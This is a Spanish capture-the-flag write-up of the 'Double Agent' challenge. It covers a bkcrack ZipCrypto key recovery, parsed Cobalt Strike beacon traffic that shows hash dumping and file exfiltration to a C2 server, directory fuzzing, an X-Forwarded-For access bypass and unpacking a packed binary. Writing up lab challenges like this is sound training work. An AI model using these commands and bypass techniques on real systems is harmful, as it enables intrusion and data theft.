Grabación de la presentación en directo

Introducción

El reto Double Agent es uno de los más largos publicados en la plataforma Atenea del Centro Criptológico Nacional hasta la fecha, aunque no necesariamente el más complejo técnicamente. La dificultad principal del reto radica en su longitud, siendo necesario realizar una gran cantidad de pasos intermedios hasta poder llegar a la flag. La descripción del reto es la siguiente:


Se ha interceptado el siguiente ZIP. Nuestras fuentes nos informan que el contenido del mismo podría estar vinculado con el reciente ciberataque a la compañía Virtucon.

Tenemos sospechas de que Virtucon podría tener acceso a los códigos de lanzamiento de cierta plataforma de misiles. Necesitamos investigar urgentemente el fichero para verificarlo.

Objetivo: Identifica los códigos de lanzamiento
Nota: Utilícese un entorno virtualizado para ejecutar cualquier binario

Parte 1: Descifrar los ficheros

Descargamos e intentamos extraer el fichero, pero esta protegido por contraseña. Información del ZIP:


7z l -slt Leak_GRPballistic-839e8848b781d320f89c571c5aef451f.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Xeon(R) CPU D-1521 @ 2.40GHz (50663),ASM,AES-NI)

Scanning the drive for archives:
1 file, 13390800 bytes (13 MiB)

Listing archive: Leak_GRPballistic-839e8848b781d320f89c571c5aef451f.zip

--
Path = Leak_GRPballistic-839e8848b781d320f89c571c5aef451f.zip
Type = zip
Physical Size = 13390800

----------
Path = HVr~hQQ4._CSL_VS.pdf
Folder = -
Size = 399988
Packed Size = 400000
Modified = 2021-09-20 13:02:51
Created = 2021-10-01 23:34:22
Accessed = 2021-10-02 12:48:07
Attributes = A
Encrypted = +
Comment =
CRC = 2CC2C03F
Method = ZipCrypto Store
Host OS = FAT
Version = 10
Volume Index = 0

Path = Spy spied 2021.pcap
Folder = -
Size = 4561180
Packed Size = 4561192
Modified = 2021-10-02 12:58:20
Created = 2021-09-29 22:35:30
Accessed = 2021-10-02 12:58:46
Attributes = An
Encrypted = +
Comment =
CRC = 8A120E6E
Method = ZipCrypto Store
Host OS = FAT
Version = 10
Volume Index = 0

Path = 14.txt
Folder = -
Size = 60947
Packed Size = 60959
Modified = 2021-09-29 22:47:33
Created = 2021-09-29 22:47:33
Accessed = 2021-10-02 12:48:07
Attributes = A
Encrypted = +
Comment =
CRC = F40AFE9E
Method = ZipCrypto Store
Host OS = FAT
Version = 10
Volume Index = 0

Path = 52b9551b6bb3f7096187b1ee.jpg
Folder = -
Size = 25178
Packed Size = 25190
Modified = 2021-09-29 22:43:38
Created = 2021-09-29 22:43:37
Accessed = 2021-10-02 12:48:07
Attributes = A
Encrypted = +
Comment =
CRC = 5ED861AC
Method = ZipCrypto Store
Host OS = FAT
Version = 10
Volume Index = 0

Path = Cobalt Strike 3.5 manual.pdf
Folder = -
Size = 8342583
Packed Size = 8342595
Modified = 2021-09-30 22:55:15
Created = 2021-09-30 22:55:14
Accessed = 2021-10-02 12:48:07
Attributes = An
Encrypted = +
Comment =
CRC = 1DD82E8A
Method = ZipCrypto Store
Host OS = FAT
Version = 10
Volume Index = 0

Para cifrar los ficheros se ha utilizado ZipCrypto (un cifrador legacy, roto y anticuado) en vez de AES. Recuperaremos la clave usada para cifrar los ficheros utilizando un known plaintext attack, con la herramienta bkcrack. Es decir, si disponemos de un fichero cifrado y el mismo fichero sin cifrar, podemos recuperar la clave usado para cifrar dicho fichero, y asumiendo que la clave es la misma para todos los ficheros, extraer el contenido completo del ZIP.

De entre los ficheros que contiene el ZIP, llama la atencion el manual de Cobalt Strike, el cual debería estar publicado en Internet y por lo tanto parece un buen candidato. Buscando en Google encontramos el manual para la versión 3.0, cambiando la URL obtenemos el manual de la versión que necesitamos en la página oficial.


┌──(kali㉿kali)-[~/AteneaPlayStation/bkcrack-1.3.3-Linux]
└─$ ./bkcrack -C Leak_GRPballistic-839e8848b781d320f89c571c5aef451f.zip -c "Cobalt Strike 3.5 manual.pdf" -p csmanual35.pdf
bkcrack 1.3.3 - 2021-11-08
[21:37:25] Z reduction using 1048568 bytes of known plaintext
2.2 % (23462 / 1048568)
[21:37:28] Attack on 256 Z values at index 1026136
Keys: 14227fd8 efc9c6b7 544d5c9f
32.4 % (83 / 256)
[21:37:28] Keys
14227fd8 efc9c6b7 544d5c9f

┌──(kali㉿kali)-[~/AteneaPlayStation/bkcrack-1.3.3-Linux]
└─$ ./bkcrack -C Leak_GRPballistic-839e8848b781d320f89c571c5aef451f.zip -k 14227fd8 efc9c6b7 544d5c9f -U raul.zip password
bkcrack 1.3.3 - 2021-11-08
[21:39:11] Writing unlocked archive raul.zip with password "password"
100.0 % (5 / 5)
Wrote unlocked archive.

Descomprimimos el fichero raul.zip utilizando la nueva contraseña que conocemos, password en este caso. De los ficheros extraídos, nos centraremos en la captura de tráfico. El resto de ficheros parece que no contienen información relevante (14.txt es un artículo de la revista Phrack, que podríamos haber usado también para el ataque anterior, las imágenes parecen sacadas de un buscador).

Parte 2: Análisis del tráfico

Revisando la captura, vemos lo que parece ser tráfico de Cobalt Strike de una víctima (192.168.1.253) al c&c o teamserver (192.168.1.232). La versión de Cobalt Strike usada en el reto es una versión de prueba o sin licencia, por lo que el tráfico contiene cabeceras para facilitar su detección X-Malware: X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*, y además el tráfico no esta cifrado.

En la primera request parece que se descarga el beacon de Cobalt Strike, que luego usará GETs para recuperar las ordendes del servidor y POSTs para enviar los resultados. Para facilitar la tarea de análisis, se utiliza la siguiente herramienta https://github.com/DidierStevens/Beta/blob/master/parse-cs-http-traffic.py, la cual genera los siguientes resultados (recortado por brevedad):



Packet number: 179
HTTP response
MZ payload detected
 MD5: 1ac9109a65850859a93f72daa5636644

Packet number: 184
HTTP response
Timestamp: 1633174774 20211002-113934
Data size: 16
Command: 4 SLEEP
 Sleep: 20000
 Jitter: 0

Packet number: 187
HTTP response
Timestamp: 1633174794 20211002-113954
Data size: 12
Command: 32 LIST_PROCESSES
 Arguments length: 4
 b'\x00\x00\x00\x00'
 MD5: f1d3ff8443297732862df21dc4e57262

Packet number: 189
HTTP request
http://192.168.1.232/submit.php?id=36885
Counter: 2
Callback: 17 BEACON_OUTPUT_PS
b'[System Process]\t0\t0\nSystem\t0\t4\nsmss.exe\t4\t228\tx64\tNT AUTHORITY\\SYSTEM\t0\ncsrss.exe\t304\t312\tx64\tNT AUTHORITY\\SYSTEM\t0\nwininit.exe\t304\t364\tx64\tNT AUTHORITY\\SYSTEM\t0\ncsrss.exe\t356\t376\tx64\tNT AUTHORITY\\SYSTEM\t1\nwinlogon.exe\t356\t432\tx64\tNT AUTHORITY\\SYSTEM\t1\nservices.exe\t364\t452\tx64\tNT AUTHORITY\\SYSTEM\t0\nlsass.exe\t364\t468\tx64\tNT AUTHORITY\\SYSTEM\t0\nlsm.exe\t364\t476\tx64\tNT AUTHORITY\\SYSTEM\t0\nsvchost.exe\t452\t596\tx64\tNT AUTHORITY\\SYSTEM\
Extra packet data: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Packet number: 193
HTTP response
Timestamp: 1633174814 20211002-114014
Data size: 344
Command: 4 SLEEP
 Sleep: 100
 Jitter: 90
Command: 18 UNKNOWN
 Arguments length: 304
 b'\x16\xd2\xfc\xe8\x89\x00\x00\x00`\x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x8br(\x0f\xb7J&1\xff1\xc0\
 MD5: 1fdb7a5caa1bd8656de4d7dc9a43dae8
Command: 4 SLEEP
 Sleep: 100
 Jitter: 90

Packet number: 194
HTTP request
http://192.168.1.232/submit.php?id=36885
Counter: 3
Callback: 7 SOCKS_PORTFWD
b'\x16\xd2'
Extra packet data: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xd4U\x00\x00\x00\x00\x00'

Packet number: 206
HTTP response
Timestamp: 1633174814 20211002-114014
Data size: 23
Command: 14 UNKNOWN
 Arguments length: 15
 b'\x00\x00\x00\x00\x16\xd2127.0.0.1'
 MD5: 3938a0edad8e88edd4617b97777c405f

Packet number: 207
HTTP request
http://192.168.1.232/submit.php?id=36885
Counter: 4
Callback: 6 SOCKS_RESUME
b'\x00\x00\x00\x00'
Extra packet data: b'ryptographic Pro'

Packet number: 489
HTTP response
Timestamp: 1633174814 20211002-114014
Data size: 402097
Command: 15 UNKNOWN
 Arguments length: 49652
 b'\x00\x00\x00\x00\x00"\x06\x00\x00"\x06\x00MZ\xe8\x00\x00\x00\x00[REU\x89\xe5\x81\xc3\x89\n\x00\x00
 MD5: 0f0abb4c5bbeda998c9612eda9fd20b2
Command: 15 UNKNOWN
 Arguments length: 26284

Packet number: 814
HTTP request
http://192.168.1.232/submit.php?id=36885
Counter: 5
Callback: 5 SOCKS_WRITE
b'\x00\x00\x00\x00RFB 003.008\n'
Extra packet data: b'.\x001\x00'

Packet number: 2627
HTTP response
Timestamp: 1633174859 20211002-114059
Data size: 16
Command: 11 DOWNLOAD_START
 Arguments length: 8
 b'plans.7z'
 MD5: a9ab75ceb5e56a9dde60aee45c82323e

Packet number: 2650
HTTP request
http://192.168.1.232/submit.php?id=36885
Counter: 252
Callback: 2 DOWNLOAD_START
b'\x00\x00\x00\x00\x00$\xb4\xc2C:\\Users\\Neo\\Desktop\\plans.7z'
Extra packet data: b'\x00\x00\x00\x00\x00\x00\x00\xd8\x02\x00\x00\x00\x00\x00\x00'

Packet number: 2677
HTTP request
http://192.168.1.232/submit.php?id=36885
Counter: 254
Callback: 8 DOWNLOAD_WRITE
Extra packet data: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Packet number: 2701
HTTP request
http://192.168.1.232/submit.php?id=36885
Counter: 255
Callback: 8 DOWNLOAD_WRITE
Extra packet data: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Packet number: 2726
HTTP request
http://192.168.1.232/submit.php?id=36885
Counter: 256
Callback: 8 DOWNLOAD_WRITE
Extra packet data: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Packet number: 2746
HTTP request
http://192.168.1.232/submit.php?id=36885
Counter: 257
Callback: 8 DOWNLOAD_WRITE
Extra packet data: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Packet number: 3008
HTTP response
Timestamp: 1633174867 20211002-114107
Data size: 82501
Command: 44 UNKNOWN
 Arguments length: 82432
 b'MZARUH\x89\xe5H\x81\xec \x00\x00\x00H\x8d\x1d\xea\xff\xff\xffH\x81\xc3|\x16\x00\x00\xff\xd3H\x89\x
 MD5: d07379f3a6196ae96ca0d89c0a2084a0
Command: 40 UNKNOWN
 Arguments length: 53
 b'\x00\x00\x00\x00\x00\x15:\x98\x00\x00\x00\x11\\\\.\\pipe\\b1d3c9b8\x00\x00\x00\x14dump password ha
 MD5: 91109989bb376794dd41e095a0fd9517

Packet number: 3009
HTTP request
http://192.168.1.232/submit.php?id=36885
Counter: 259
Callback: 21 BEACON_OUTPUT_HASHES
b'Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nNeo:1000:aad3b435b51404eeaad3b435b51404ee:e72e57d9bde26fbd3d3d7bef93223c8c:::\n'
Extra packet data: b'\x00\x10\x00\x00\x00\x00\x00\x00`\x02\x00\x00`\x02\x00\x00'

Packet number: 3059
HTTP response
Timestamp: 1633174869 20211002-114109
Data size: 12
Command: 32 LIST_PROCESSES
 Arguments length: 4
 b'\x00\x00\x00\x00'
 MD5: f1d3ff8443297732862df21dc4e57262

Packet number: 3061
HTTP request
http://192.168.1.232/submit.php?id=36885
Counter: 260
Callback: 17 BEACON_OUTPUT_PS
b'[System Process]\t0\t0\nSystem\t0\t4\nsmss.exe\t4\t228\tx64\tNT AUTHORITY\\SYSTEM\t0\ncsrss.exe\t304\t312\tx64\tNT AUTHORITY\\SYSTEM\t0\nwininit.exe\t304\t364\tx64\tNT AUTHORITY\\SYSTEM\t0\ncsrss.exe\t356\t376\tx64\tNT AUTHORITY\\SYSTEM\t1\nwinlogon.exe\t356\t432\tx64\tNT AUTHORITY\\SYSTEM\t1\nservices.exe\t364\t452\tx64\tNT AUTHORITY\\SYSTEM\t0\nlsass.exe\t364\t468\tx64\tNT AUTHORITY\\SYSTEM\t0\nlsm.exe\t364\t476\tx64\tNT AUTHORITY\\SYSTEM\t0\nsvchost.exe\t452\t596\tx64\tNT AUTHORITY\\SYSTEM\
Extra packet data: b'\x00l\x00\x00\x00\x00\x00\x00\x00\x00\x00'

En general, el blog de Didier Stevens contiene muchísima información útil que ha facilitado enormemente comprender el protocolo de comunicaciones de Cobalt Strike, y extraer con éxito las dos piezas necesarias para avanzar al siguiente paso.

Descubrimos que el beacon esta usando VNC para capturar la pantalla del usuario , gracias al string RFB 003.008, perteneciente a VNC Server. Utilizando binwalk o foremost, podemos extraer fragmentos de imágenes transmitidos en la traza usando VNC. En varios de ellos (posiciones relativas D1B1B, F3083, 13259C, 1133A2, podemos ver la contraseña con la que se ha comprimido un fichero:

6a87a074676257e37c7404880dab4fb8.png 1941aac0104c6fe29c2c53e64e284de0.png 5177fa5a04f101d25cf2fbc113bc9b00.png 54b7ace320d4d01c54217cdd8c7d90e7.png

Password: T0Psecr3T.

Por otra parte, el beacon transfiere el fichero plans.7z situado en el escritorio de la víctima. Parece que la versión de la herramienta usada contiene un bug y no muestra parte del fichero 7z que se transmite en el DOWNLOAD_START, la discrepancia puede observarse al comparar dicho paquete con Wireshark. Debugeando en PyCharm se extrae la primera parte del 7z de forma manual y entendemos las diferentes partes del paquete y su significado para Cobalt Strike.

Reconstruimos el 7Z exportando en Wireshark las peticiones POST correspondiente (paquetes 2650, 2677, 2701, 2726 y 2746 de Wireshark) eliminando posteriormente con hexeditor las cabeceras y pie de Cobalt Strike.

Como referencia importante, con fecha posterior a la resolución del reto Didier Stevens ha sacado una nueva versión de la herramienta bastante más potente que sirve tanto para tráfico DNS como HTTP.

Extraemos el 7z y tenemos el fichero tar plans, el cual parece que contiene las capas de una imagen de Docker.

Parte 3: Análisis de la imagen Docker

En el manifest.json, aparecen las diferentes capas que contiene la imagen.


[
   {
      "Config":"606a4a0ff0af337fb924bb8f95bedaeaf558765a0051d4c9572297177094364f.json",
      "RepoTags":[
         "d_agent:latest"
      ],
      "Layers":[
         "5dee72d2797c533813effb8e9de26377300d29f418ebb06bfe814f950a7aa02b/layer.tar",
         "7a4d2c74d58077479ec22c99b167c0889924a60f556ff24d5eec423952607f14/layer.tar",
         "c03c1520d998c27fa4fd2804a77129c9c449d2ff1192e0f2acf8abdf11ed93ba/layer.tar",
         "b973eabdbfd5536c5a47eeca4ee9b89339f01c12a35a746b031912c171759cc1/layer.tar",
         "517c9f8989db6406c62a2d0063e723740c2a4a23c9dab0b8603d729e1ff3ac4c/layer.tar",
         "e1f44dd7a690f4d815fc3cc5cb889aceeb802b9c8ed513c5a779d55f4987c428/layer.tar"
      ]
   }
]

En Docker las imágenes se construyen realizando cambios de forma progresiva sobre una imagen base. Los cambios que realizan las capas son:


CAPA 1: capa base, la ignoramos.

CAPA 2
Añadir fichero: missile_plans1.JPG

CAPA 3
Añadir fichero: missile_plans2.JPG

CAPA 4
Añadir fichero: missile_plans3.JPG

CAPA 5
Añadir fichero chat007.7z

CAPA 6: 
"Cmd":["/bin/sh","-c","rm -f /tmp/chat007.7z"]
ie, borrar el fichero añadido en la capa 5.

Eliminar un fichero de la capa 5, en nuestro caso chat007.7z, no modifica dicha capa sino que crea una nueva capa con la modificación realizada, por lo que podemos extraer dicho fichero de una capa justo por debajo.

El fichero chat007.7z contiene la siguiente conversación:


[19:00] <@admin> I have just finished with Agent801bot. When you're free, call me on the secure channel.
[19:01] <+Jhon> Excellent. Did you grant access to Edgar Brodie?
[19:01] <@admin> Yes, he is already registered. We just need the codes to finish the mission.
[19:01] <+Jhon> I hope the exploit works this time
[19:02] <@admin> It will :)

Buscando un bot con el nombre que dicen en la conversación encontramos un bot de telegram.

Parte 4: Bot de Telegram

Si escribimos al bot recibimos la siguiente respuesta:

9405e7c6eafee4f0280e4f3c3090d126.png

El bot parece responder solo al comando /start, diciendonos que que hemos hecho con Edgar e ignorando el resto de mensajes. Probando cosas descubrimos que si nos ponemos de nombre en Telegram el mismo nombre referenciado en la conversación del paso anterior, “Edgar Brodie”, el bot cambia su respuesta:

68352bfbd3072aa6fd21ffe72bce1743.png

Aquí me puse a probar como un animal diferentes mensajes, intentando explotar una posible vulnerabilidad en el bot. Tras 3 horas de mensajitos al bot y volver sobre mis pasos una y otra vez para ver que se me estaba escapando, decidí dejarlo sobre las 4 de la mañana.

Al día siguiente me fuí a hacer una rutilla por el monte, y trotando como una cabra se me encendió la bombilla: 9574ee550221aefe569799789da69e4e.png

¿Y si el bot literalmente me esta pidiendo mi ID? Es decir, solo darle mi ID de Telegram ae924759d1e447085954a050edca2eba.png

Página web: https://secretvault.pw/

Parte 5: La pagina web

Enumerando directorios con gobuster:


gobuster dir -e -u https://secretvault.pw -w /usr/share/wordlists/dirb/common.txt

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://secretvault.pw
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/11/13 20:50:46 Starting gobuster in directory enumeration mode
===============================================================
https://secretvault.pw/.hta                 (Status: 403) [Size: 199]
https://secretvault.pw/.htaccess            (Status: 403) [Size: 199]
https://secretvault.pw/.htpasswd            (Status: 403) [Size: 199]
https://secretvault.pw/backup               (Status: 301) [Size: 238] [--> http://secretvault.pw/backup/]
https://secretvault.pw/index.php            (Status: 200) [Size: 1309]                                   
                                                                                                         
===============================================================
2021/11/13 20:51:05 Finished
===============================================================
                                                                                                                                    
gobuster dir -e -u https://secretvault.pw/backup -w /usr/share/wordlists/dirb/common.txt 

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://secretvault.pw/backup
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/11/13 21:11:59 Starting gobuster in directory enumeration mode
===============================================================
https://secretvault.pw/backup/.htaccess            (Status: 403) [Size: 199]
https://secretvault.pw/backup/.hta                 (Status: 403) [Size: 199]
https://secretvault.pw/backup/.htpasswd            (Status: 403) [Size: 199]
https://secretvault.pw/backup/logs                 (Status: 301) [Size: 243] [--> http://secretvault.pw/backup/logs/]
                                                                                                                     
===============================================================
2021/11/13 21:12:17 Finished
===============================================================

Descubrimos la ruta backup/logs/.

2e3bcef1cf8334add9f6afbfe438fe00.png

El fichero auth_back20.log se parece bastante a un /var/log/auth.log de Linux, donde se encuentran los intentos de acceso de los diferentes usuarios utilizando ssh, cron, login interactivo etc. Por otra parte, en el log de OpenVPN, vemos una traza de conexión.

Trozitos interesantes de los logs, como ejemplo:


edgar_laptop/172.16.13.37:57465 MULTI: Learn: 15.10.2.14 -> edgar_laptop/172.16.13.37:57465
MULTI: Learn: 15.10.2.18 -> martin_laptop/192.168.102.52:59241

Accepted password for anonymous from 192.168.96.92
Accepted publickey for ubuntu from 192.168.107.13 port 61277 ssh2: RSA SHA256:Kl9kPGZrTiz7g3FO1hyqHdsSBBb5Fge6NWOobN03XJg
[Instala dnsmasq y edita configs, ej resolv]
Accepted password for anonymous_02
Accepted password for anonymous_8
Accepted password for anonymous_23

El servidor web podría ser Apache, revisamos los exploits recientes y probamos:


Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)                                                                        | multiple/webapps/50383.sh
Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)                                                                        | multiple/webapps/50406.sh
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2)                                                                                     | multiple/webapps/50446.sh

No es vulnerable, bien por estar actualizado o por estar detrás de Cloudflare.

Los comandos del usuario ubuntu no parecen tener información útil, creamos dos diccionarios, uno con usuarios (users.txt) y otro con IPs (ips.txt).


┌──(kali㉿kali)-[~/AteneaPlayStation/paginaweb]
└─$ grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" openvpn.log | sort | uniq
15.10.2.0
15.10.2.1
15.10.2.13
15.10.2.14
15.10.2.17
15.10.2.18
172.16.13.37
192.168.102.52
192.168.2.21
192.168.4.100
255.255.255.0
8.8.4.4

┌──(kali㉿kali)-[~/AteneaPlayStation/paginaweb]
└─$ grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" auth_back20.log | sort | uniq
10.1.16.18
10.1.2.10
10.12.51.100
10.13.14.16
10.141.34.210
10.181.39.76
10.19.13.32
10.200.8.11
10.221.164.218
10.240.236.129
10.2.41.23
10.29.143.50
10.41.2.40
10.49.12.1
10.7.3.9
10.81.71.131
10.9.10.18
10.97.234.22
172.16.6.10
192.168.107.13
192.168.113.105
192.168.16.17
192.168.21.82
192.168.4.191
192.168.96.92

Usamos los usuarios probando basic auth con mismo usuario y password, parámetros tipo user=FUZZ&password=FUZZ, pero no obtenemos resultados.

Usamos la lista de IPs con varias cabeceras relacionadas con proxies, por si utiliza la IP para validarnos, y obtenemos resultados con una de ellas:


┌──(kali㉿kali)-[~/AteneaPlayStation/paginaweb]
└─$ ffuf -w ips.txt  -H 'X-Forwarded-For: FUZZ' -u 'https://secretvault.pw/'

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://secretvault.pw/
 :: Wordlist         : FUZZ: ips.txt
 :: Header           : X-Forwarded-For: FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

10.200.8.11             [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.19.13.32             [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.13.14.16             [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.1.16.18              [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.181.39.76            [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.141.34.210           [Status: 200, Size: 1309, Words: 133, Lines: 68]
15.10.2.0               [Status: 200, Size: 1309, Words: 133, Lines: 68]
192.168.107.13          [Status: 200, Size: 1309, Words: 133, Lines: 68]
192.168.4.100           [Status: 200, Size: 1309, Words: 133, Lines: 68]
192.168.2.21            [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.97.234.22            [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.12.51.100            [Status: 200, Size: 1309, Words: 133, Lines: 68]
172.16.6.10             [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.81.71.131            [Status: 200, Size: 1309, Words: 133, Lines: 68]
192.168.16.17           [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.221.164.218          [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.2.41.23              [Status: 200, Size: 1309, Words: 133, Lines: 68]
8.8.4.4                 [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.41.2.40              [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.1.2.10               [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.9.10.18              [Status: 200, Size: 1309, Words: 133, Lines: 68]
192.168.4.191           [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.29.143.50            [Status: 200, Size: 1309, Words: 133, Lines: 68]
15.10.2.13              [Status: 200, Size: 1309, Words: 133, Lines: 68]
15.10.2.17              [Status: 200, Size: 1309, Words: 133, Lines: 68]
172.16.13.37            [Status: 302, Size: 1103, Words: 115, Lines: 66]
192.168.21.82           [Status: 200, Size: 1309, Words: 133, Lines: 68]
15.10.2.1               [Status: 200, Size: 1309, Words: 133, Lines: 68]
15.10.2.18              [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.240.236.129          [Status: 200, Size: 1309, Words: 133, Lines: 68]
192.168.113.105         [Status: 200, Size: 1309, Words: 133, Lines: 68]
255.255.255.0           [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.49.12.1              [Status: 200, Size: 1309, Words: 133, Lines: 68]
15.10.2.14              [Status: 200, Size: 1309, Words: 133, Lines: 68]
192.168.102.52          [Status: 200, Size: 1309, Words: 133, Lines: 68]
192.168.96.92           [Status: 200, Size: 1309, Words: 133, Lines: 68]
10.7.3.9                [Status: 200, Size: 1309, Words: 133, Lines: 68]
:: Progress: [37/37] :: Job [1/1] :: 40 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

Utilizando la IP 172.16.13.37 la página web nos da un fichero a descargar: Ballistic_Missile_ProgramMRBM_.exe.

Parte 6: Reversing

393397f400936ff36835c23c54f4d1a1.png

El binario se encuentra empaquetado usando la herramienta ‘Armadillo’, la información sobre la herramientas es bastante escasa.

757dcb17609c2e7521977ca27cc6cc4c.png

Ejecutando en una VM Windows, usando Process Explorer de Sysinternals vemos que crea otro proceso, donde es probable que este el codigo desempaquetado. 4d90460a62591e0e95c1a17a3768be1e.png

El ejecutable tiene varias técnicas antidebug/antireversing. Tras probar varias estrategias para obtener un dump de su memoria, conseguimos uno con el plugin Scylla de x64dbg.

2a9a83726f31279a420b70faeeac83c1.png

Cargamos el dump arreglado por Scylla en GHidra y buscamos los strings relacionados con el ejecutable, como Edgar o Password:

14c503ed18d62467259104e2b5c8a55a.png

En esta funcion se imprimen los mensajes de la consola y se lee la password:

5a50b32b2dd7641251a501e2c5c4f274.png

en esa misma función en 401fd0, despues de la lectura de la password, vemos el siguiente fragmento interesante: b609bf07922bed5a769a585b49c83dba.png

Si hacemos XOR igual que el codigo al string que referencia obtenemos:

4fa60e08fb4489b769c0810f0f3a69e0.png

haciendo el md5 de 9S451M2 obtenemos la flag: flag{0cd8ac0b6c26d1c6a253b47b802a38c8}

Conclusiones

Muchas gracias al CCN-CERT por darme la oportunidad de ir a las XV Jornadas STIC a presentar la solución al reto, gracias por los premios que ofrecen en las diferentes competiciones y felicitaciones al autor del reto por el esfuerzo brutal que habrá supuesto crear un reto de semejantes dimensiones.